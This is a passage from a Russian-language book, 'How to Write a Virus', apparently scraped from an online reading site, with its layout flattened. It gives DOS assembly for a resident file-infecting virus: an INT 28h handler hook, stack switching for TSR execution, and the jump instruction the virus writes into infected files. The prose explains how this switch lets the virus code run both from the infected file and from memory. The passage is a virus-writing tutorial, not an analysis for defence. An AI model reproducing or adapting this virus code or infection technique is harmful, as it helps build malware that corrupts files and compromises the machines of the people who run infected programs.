"Игорь Коваль. Как написать вирус" - читать интересную книгу автора cmp cs:tg_infect-110h,1;Активизиро-
;ваться ? je cs:vir_2 ;Да ... call dword ptr cs:old_28h - 110h ;Нет - вызовем ;старый обработ- ;чик INT 28h, ;чтобы не топить ;другие TSR ... iret vir_2: popf ;Переключаем ;стек для TSR - ;исполнения на mov cs:ss_save-110h,ss ;себя ... mov cs:sp_save-110h,sp mov cs:help_word - 110h,cs mov ss,cs:help_word - 110h mov sp,to_newstack + 136 mov cs:tg_infect - 110h,0 pushf ;Вызываем старый db 9ah ;обработчик old_28h dw 0 ;INT 28h ... old_28h_2 dw 0 коде сразу за меткой " vir " .Сейчас мы попробуем разобраться, зачем она потребовалась . Как вы знаете, наш вирус должен быть резидентным и состоять из двух частей .При этом секция инициали- зации исполняется только в транзитном ( нерезиден- тном ) режиме,а резидентная часть - только в рези- дентном. Команда db 0ebh ;90h - Для рези- db push_len ;90h дентной ; работы . играет роль " переключателя " между транзитным и резидентным кодами .При заражении вирус записывает в файл команду перехода, которая при запуске зара- женного файла передает управление на " push_len " байт вперед, где как раз и начинается секция ини- циализации .Если же попытаться выполнить эту кома- нду в резидентном режиме, т. е. когда код вируса получил управление, находясь в памяти,это приведет к зависанию компьютера .Чтобы такого не происходи- ло, секция инициализации при установке вирусного кода в память записывает сразу за меткой " vir " |
|
|